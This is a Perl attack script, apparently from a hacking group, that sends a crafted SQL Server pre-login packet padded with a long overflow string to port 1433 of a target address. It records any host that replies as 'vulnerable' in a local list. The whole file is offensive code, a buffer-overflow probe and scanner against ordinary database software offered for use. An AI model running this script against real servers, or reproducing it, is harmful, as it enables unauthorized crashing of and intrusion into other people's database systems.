#!/usr/bin/perl
# code by touk
# for MxMx & GSO
# Vulnerable hosts are in vulnerables.txt
# This file needs to be named: vcsqlhello.pl


use IO::Socket;
use IO::File;
use Getopt::Std;
getopts('s:', \%args);
if(!defined($args{s}))
{
print "00ps, vcsqlhello.pl -s ipaddress!";
exit;
}
$serv = $args{s};
$bof="\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b"; #header
$bof.="\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02"; #header
$bof.="\x10\x00\x00\x00"; #header
$bof.="\x00\x24\x01\x00\x00"; #tail

$bof.="crap"x560; # crapmsg
$remote = IO::Socket::INET->new(
                  Proto       => "tcp",
                  PeerAddr    => $args{s},
                  PeerPort    => "(1433)",
              ) || die("[*] Server Down?\n");
print"[*] Sending VC string\n";
$remote->autoflush(1);
print $remote "$bof";
print("[*] All Done...\n");
$remote->recv($answer,4096);
  if($answer ne '')
  {

print "[*] Vulnerable";
$resultfile = "vulnerables.txt";
$fh = IO::File->new("+>> $resultfile")or die "Couldn't open $file for writing: $!\n";
open(FH, "+>> $resultfile")                                 or die $!;
print FH "$args{s}\n";
close(FH);
}
else{
print "[*] Not Vulnerable";
exit 1;
}
sleep(2);